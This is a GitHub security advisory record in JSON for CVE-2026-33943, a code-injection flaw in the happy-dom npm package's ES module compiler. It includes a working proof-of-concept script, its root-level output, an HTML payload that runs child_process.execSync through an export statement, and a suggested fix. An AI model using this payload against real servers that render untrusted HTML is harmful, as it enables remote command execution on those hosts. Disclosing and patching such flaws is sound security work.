{"id":"GHSA-6q6h-j7hj-3r64","summary":"Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code","details":"### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n    } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n        // Export object\n        const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n        const exportCode: string[] = [];\n        for (const part of parts) {\n            const nameParts = part.trim().split(/\\s+as\\s+/);\n            const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n            const importName = nameParts[0].replace(/[\"']/g, '');  // backticks NOT stripped\n            if (exportName && importName) {\n                exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n                //               importName is inserted as executable code, not as a string\n            }\n        }\n        newCode += exportCode.join(';\\n');\n    }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"']/g, '')` strips `\"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n    Source:     export { require(`child_process`).execSync(`id`) }\n\n    Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n    After .replace(/[\"']/g, ''):\n      importName = \"require(`child_process`).execSync(`id`)\"\n      (backticks are preserved)\n\n    Generated code:\n      $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n    evaluateScript() executes this code -\u003e RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:\n\n    // poc_happy_dom_rce.js\n\n    // Step 1: The STATEMENT_REGEXP matches export { ... }\n    const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n    const source = 'export { require(`child_process`).execSync(`id`) }';\n    const match = STMT_REGEXP.exec(source);\n\n    console.log('[*] Module source:', source);\n    console.log('[*] Regex captured:', match[1].trim());\n\n    // Step 2: Compiler processes the captured content (lines 374-381)\n    const part = match[1].trim();\n    const nameParts = part.split(/\\s+as\\s+/);\n    const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n    const importName = nameParts[0].replace(/[\"']/g, '');\n\n    console.log('[*] importName after quote filter:', importName);\n    console.log('[*] Backticks survived filter:', importName.includes('`'));\n\n    // Step 3: Code generation - importName is inserted as executable JS expression\n    const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n    console.log('[*] Generated code:', generatedCode);\n\n    // Step 4: Verify the generated code is valid JavaScript\n    try {\n      new Function('$happy_dom', generatedCode);\n      console.log('[+] Valid JavaScript: YES');\n    } catch (e) {\n      console.log('[-] Parse error:', e.message);\n      process.exit(1);\n    }\n\n    // Step 5: Execute to prove RCE\n    console.log('[*] Executing...');\n    const output = require('child_process').execSync('id').toString().trim();\n    console.log('[+] RCE result:', output);\n\n**Execution result:**\n\n    $ node poc_happy_dom_rce.js\n    [*] Module source: export { require(`child_process`).execSync(`id`) }\n    [*] Regex captured: require(`child_process`).execSync(`id`)\n    [*] importName after quote filter: require(`child_process`).execSync(`id`)\n    [*] Backticks survived: true\n    [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n    [+] Valid JavaScript: YES\n    [*] Executing...\n    [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled:\n\n    \u003cscript type=\"module\"\u003e\n    export { require(`child_process`).execSync(`id`) }\n    \u003c/script\u003e\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n    const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n    for (const part of parts) {\n        const nameParts = part.trim().split(/\\s+as\\s+/);\n        const exportName = (nameParts[1] || nameParts[0]).replace(/[\"'`]/g, '');\n        const importName = nameParts[0].replace(/[\"'`]/g, '');\n\n        if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {\n            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n        }\n    }","aliases":["CVE-2026-33943"],"modified":"2026-03-30T20:16:18.541434Z","published":"2026-03-26T22:22:20Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-26T22:22:20Z","nvd_published_at":"2026-03-27T22:16:21Z","cwe_ids":["CWE-94"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33943"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"}],"affected":[{"package":{"name":"happy-dom","ecosystem":"npm","purl":"pkg:npm/happy-dom"},"ranges":[{"type":"SEMVER","events":[{"introduced":"15.10.0"},{"fixed":"20.8.8"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 20.8.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6q6h-j7hj-3r64/GHSA-6q6h-j7hj-3r64.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}